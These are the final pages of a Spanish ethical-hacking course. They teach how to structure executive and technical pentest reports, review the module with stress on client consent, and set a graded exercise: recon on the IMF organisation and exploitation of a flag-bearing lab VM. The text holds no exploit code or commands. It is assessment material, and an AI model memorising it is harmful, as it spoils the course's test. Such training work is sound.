Frameworks de análisis de archivos IPA : Herramientas que permiten obtener información

de los archivos de configuración, las clases de las que hace uso el binario, librerías, strings, etc.
e identifican posibles vulnerabilidades y/o errores de configuración.

IOS: Sistema operativo utilizado en los dispositivos móviles de Apple, incluyendo el

iPhone, iPad y iPod Touch. iOS está basado en Darwin, cuyo kernel híbrido combina
componentes de FreeBSD y Mach.

253/265
Generación de informes de auditoría

I. Introducción

Durante el curso se han explicado las distintas metodologías y herramientas para llevar a cabo
auditorías de distintos tipos. Todas ellas tienen en común la última fase, que será la que dé por
terminada la auditoría.

Esta fase consiste en la realización de un informe que contenga todos los hallazgos detectados
durante el tiempo en el que se ha desarrollado la auditoría.

II. Objetivos
Con esta unidad, los estudiantes aprenderán los pilares básicos en lo que a la generación de informes
de auditoría de seguridad se refiere.

En este sentido, hablaremos de qué información debemos incluir en este informe, qué enfoque
tenemos que darle, qué nivel de especialización, etc.

II. Contenido del informe

La clave de la generación del informe es ser capaz de plasmar todo el trabajo realizado de una manera
clara, de forma que se le dé el valor que se merece.

Para ello, se debe organizar el documento para que contenga toda la información bien organizada y
explicada de manera clara.

Otro de los puntos importantes que se deben tener en cuenta es tener claro a quién va dirigido el
documento, ya que no es lo mismo que lo vaya a recibir el director de la organización a que lo vaya a
recibir el equipo técnico. Debido a esto, lo más común es realizar un informe con dos partes bien
diferenciadas, o bien dos informes independientes:

Informe ejecutivo.
Informe técnico.

2.1. Introducción
Consiste en una breve redacción explicando el objetivo del documento, cuál es el alcance de la
auditoría y el objetivo de la misma.

254/265
 En caso de que haya alguna limitación o excepción a la hora de llevar a cabo la auditoría también se
deberá incluir en este documento.

Asimismo, se deberán incluir los criterios y la categorización que se van a utilizar a la hora de valorar
la criticidad de cada hallazgo, con su definición correspondiente.

2.2. Metodología
Suelen ser un par de páginas en las que se explica la metodología seguida durante la auditoría,
definiendo los distintos aspectos de seguridad que se han revisado durante el proceso.

2.3. Informe ejecutivo

El informe ejecutivo será un documento breve y conciso, dirigido a los ejecutivos de la organización,
que por lo general no tienen por qué tener conocimientos técnicos a bajo nivel. La información que se
encuentra en este informe es la siguiente:

Estado de seguridad de la aplicación: por ejemplo, nivel de seguridad bajo, medio o alto. Esto es
muy subjetivo, por lo que se deberá explicar qué significa el nivel asociado a la aplicación.

Teniendo en cuenta lo que se haya acordado, la manera de reflejar el estado de la aplicación puede
variar. A continuación vamos a ver algunos ejemplos:

El objetivo de la auditoría es dar el OK previo a un paso a producción:

Imagen 6.1. Paso a producción.

Fuente: elaboración propia CyberAcademy..

El objetivo de la auditoría es averiguar el estado de seguridad o nivel de seguridad de la

aplicación:

El estado de seguridad de la aplicación es ALTO

El estado de seguridad de la aplicación es BAJO
El estado de seguridad de la aplicación es MEDIO

La manera de representar el estado de seguridad de la aplicación es libre y no existe una única

opción, por lo que lo que se muestra como ejemplo son sólo dos posibilidades.

255/265
2

Vulnerabilidades detectadas: en modo resumen, se suele mostrar un gráfico de colores que refleje
el estado de la aplicación con un solo vistazo. Ejemplo:

Imagen 6.2. Gráfico de estado de una aplicación en cuanto a vulnerabilidades.

Fuente: elaboración propia CyberAcademy.

Principales riesgos a los que está expuesta la organización teniendo en cuenta los hallazgos
encontrados, esto da un mayor nivel de información.

Imagen 6.3. Vulnerabilidades más críticas.

Fuente: elaboración propia CyberAcademy.

Tabla resumen de las vulnerabilidades encontradas. Ejemplo:

Imagen 6.4. Tabla resumen de vulnerabilidades.

Fuente: elaboración propia CyberAcademy.

2.4. Informe técnico

256/265
 El informe técnico es un documento más extenso, dirigido al equipo técnico de la organización, que
suele ser el equipo de desarrolladores que se ha encargado de realizar la aplicación y será el responsable
de la resolución de las vulnerabilidades. Es aquí donde se dan todos los detalles de cada vulnerabilidad
descubierta:

Identificador de la vulnerabilidad. Será un identificador único que se suele usar a la hora de

realizar el seguimiento de las vulnerabilidades, si se han corregido o no, etc.
Criticidad de la vulnerabilidad.
Máquina/URL/Servicio afectado.
Campos vulnerables. Si la vulnerabilidad afecta a campos concretos de la aplicación.
Descripción de la vulnerabilidad. Una breve explicación de en qué consiste.
Riesgos asociados a la vulnerabilidad. Con el objetivo de explicar las posibles consecuencias
en caso de no corregir la vulnerabilidad.
Detalles, más información de la vulnerabilidad detectada y proceso seguido para detectarla.
Evidencias. Demostración de que la vulnerabilidad existe en el momento de la auditoría.
Referencias que proporcionen más información de la vulnerabilidad, ya que en muchos casos
los desarrolladores no tienen por qué tener conocimientos de seguridad y les ayudará a
entender el concepto y ver cómo resolver la vulnerabilidad.

Se debe tener en cuenta que la estructura y contenido de los informes es flexible y que lo explicado
aquí tan solo supone una parte de los contenidos que pueden aparecer.

257/265
 Una manera de representar los hallazgos encontrados en el informe técnico es mostrando la
información organizada en tablas, creando una tabla por cada vulnerabilidad.

Imagen 6.5. Informe técnico.

Fuente: elaboración propia CyberAcademy.

Como se ha podido observar, hay formas infinitas de generar los informes de vulnerabilidades y no
hay una única manera válida. Esto se debe a que son totalmente personalizables y a que, dependiendo de
la organización y del tipo de auditoría, podemos encontrar informes organizados de maneras muy
diferentes, pero que comparten el mismo objetivo final: mostrar el estado de seguridad de la
organización y proporcionar los hallazgos encontrados.

Por último, se debe recalcar la importancia que tiene el informe final para plasmar el trabajo
realizado durante las auditorías, ya que un buen trabajo a nivel técnico en una auditoría en la que se
hayan encontrado un gran número de vulnerabilidades con un riesgo elevado puede quedar en nada si el
informe no refleja el trabajo realizado (o no lo refleja de la manera correcta), por lo que es importante
cuidar el aspecto y contenido del informe para ser capaces de hacer llegar el mensaje a los responsables
de la aplicación.

III. Resumen
En esta unidad hemos aprendido que existen dos tipos principales de informe:

258/265
 El informe ejecutivo más centrado en ofrecer información de forma breve y concisa para el
personal ejecutivo que puede o no tener conocimientos técnicos.
El informe técnico que muestra la información de una manera mucho más detallada y que va
dirigido al equipo técnico de la organización.

Dentro de estos tipos de informes, hemos estudiado los elementos que debe incluir cada informe con
el fin de mostrar la información adaptada al público objetivo de este.

Finalmente, hemos comentado la importancia que tiene este tipo de documentos para plasmar todo el
trabajo que se ha llevado a cabo durante la auditoría de seguridad.

259/265
Recursos

Bibliografía
ACISSI. Seguridad Informática: Hacking Ético. (2015).: ACISSI. Seguridad Informática:
Hacking Ético. (2015). 3rd ed. Barcelona: Editions ENI.
El reporte técnico de un pentest.: El reporte técnico de un pentest:
http://www.azuax.com/2017/6/13/el-reporte-tecnico-de-un-pentest/
Penetration test report.: Penetration test report: https://www.offensive-
security.com/reports/sample-penetration-testing-report.pdf
Sección 8: Reporting.: Sección 8: Reporting: https://media.readthedocs.org/pdf/pentest-
standard/latest/pentest-standard.pdf
The art of writing penetration test reports.: The art of writing penetration test reports:
https://resources.infosecinstitute.com/writing-penetration-testing-reports/#gref
Writing a penetration testing report.: Writing a penetration testing report:
https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343

260/265
Repaso final de módulo
Para adentrarnos en el mundo del Hacking Ético, hemos estudiado conceptos básicos de esta área
como la diferencia entre auditoría de seguridad y escaneo de vulnerabilidades.

Es esencial que recordemos las fases que se llevan a cabo dentro de una auditoría de seguridad, así
como la importancia de obtener consentimiento escrito por parte del cliente antes de acometer este tipo
de proyectos.

Dentro de la auditoría de seguridad, hemos estudiado, específicamente, la auditoría de infraestructuras,

de aplicaciones web y de aplicaciones móviles. Y, para cada tipo de auditoría, hemos aprendido
diferentes metodologías, herramientas que podemos utilizar, controles que es necesario tener en cuenta,
etc.

También hemos aprendido los diferentes tipos de auditoría que podemos realizar si los clasificamos en
función de la información que conocemos del objetivo (caja blanca, caja gris y caja negra) o en función
del enfoque que se le dé:

Pentest externo (si la auditoría se realiza estudiando debilidades públicas del cliente).
Pentest interno (si la realizamos desde dentro de los sistemas del cliente).
Red team (simulando ataques reales).

Finalmente, es importante recordar que al finalizar cualquier auditoría de seguridad es necesario

redactar un informe (ejecutivo o técnico en función del público objetivo) incluyendo los
elementos necesarios para reflejar las tareas que se han realizado durante la auditoría, así como
los resultados encontrados.

261/265
Evaluación Final de Módulo

Es importante leer las instrucciones antes de realizar la evaluación.

Instrucciones evaluación final del módulo

La evaluación final consta de dos partes:

Caso práctico

Para responder, tienes que enviar tu respuesta a través de una tutoría adjuntando un archivo Word.
Puedes descargar la plantilla en el apartado de RECURSOS.

Cuestionario tipo test

Quince preguntas con tres opciones de respuesta, de las cuales solo una es la correcta. Cuentas con
veinte minutos para realizarlo y dispones solo de tres intentos.

Caso práctico

Enunciado

Como hemos aprendido, el hacking ético es un método efectivo para comprobar los mecanismos de
seguridad y verificar la postura de seguridad de una organización frente a un ataque.

Este método se lleva a cabo siguiendo un orden lógico de manera que todo aquello obtenido en la fase
anterior nos pueda servir de ayuda para la fase siguiente.

Os recordamos que no se puede atacar a una organización sin tener previo consentimiento de la
misma.

Para una parte de este ejercicio vamos a utilizar IMF.

Debido al tipo de ejercicio, es posible que este contenga más páginas de las que indica la hoja de
respuestas como máximo.

Se pide

262/265
 Conociendo únicamente el nombre de la organización IMF se debe buscar toda la información posible
sobre esta. Dentro de las fases del análisis, únicamente contemplaremos las fases de reconocimiento
(reconocimiento, fingerprinting) y escaneo (comandos básicos y puertos, servicios).

No está permitido realizar un escaneo web contra los servidores identificados ni lanzar
herramientas semiautomáticas en busca de vulnerabilidades. Únicamente trabajaremos a
nivel de detección de puertos y servicios.

Como resultado de este ejercicio:

Se debe mostrar la información encontrada: (por ejemplo: información sobre empleados,

dominios, IP, servidores públicos, y cualquier información extra), las herramientas utilizadas y la fase
a la que corresponde cada tipo de prueba. La información se puede agrupar, por ejemplo, por fases,
explicando los pasos que se han seguido, etc.

El siguiente paso lógico dentro del hacking ético:

Sería realizar un análisis de vulnerabilidades contra aquellos servidores detectados. En este caso,
dada la criticidad del entorno no disponemos de permisos para realizar este tipo de pruebas y, por el
momento, no disponemos de un entorno de pruebas para poder realizar ataques. De modo que, para
este segundo ejercicio, es necesario descargar una máquina virtual que se ha preparado para
ello.

Una vez descargada e instalada hay que realizar las siguientes acciones:

Lanzar un escaneo semiautomático para identificar las posibles vulnerabilidades de la web.

Para aquellas vulnerabilidades detectadas, comprobar si se tratan de falsos positivos o si son
amenazas reales.
Explotar las vulnerabilidades detectadas con otras herramientas diferentes de la de detección
de vulnerabilidades.
Realizar una escalada de privilegios.
Realizar un análisis del resto de servicios en ejecución.

263/265
 Todos los pasos deben de estar correctamente explicados, añadiendo evidencias (informe de
resultado de la herramienta semiautomática, capturas de pantalla, etc.).

La máquina virtual cuenta con 10 flags repartidas por todo el sistema. Es importante tener en
cuenta que no es necesario disponer de un usuario en el sistemas.

Enlace:

Enlace a máquina virtual aquí.

Cuestionario tipo test

Acceso a la prueba final

264/265
Recursos

Enlaces de Interés
https://imfformacion-my.sharepoint.com/:f:/g/personal/soportesistemas_imf_com/
EiQUf3bc02ZEm0dYM5bX-iwB2T-Gmmnht7Qf9R_jOfexfw?e=8AmOyl: Descarga de
Máquina Virtual

265/265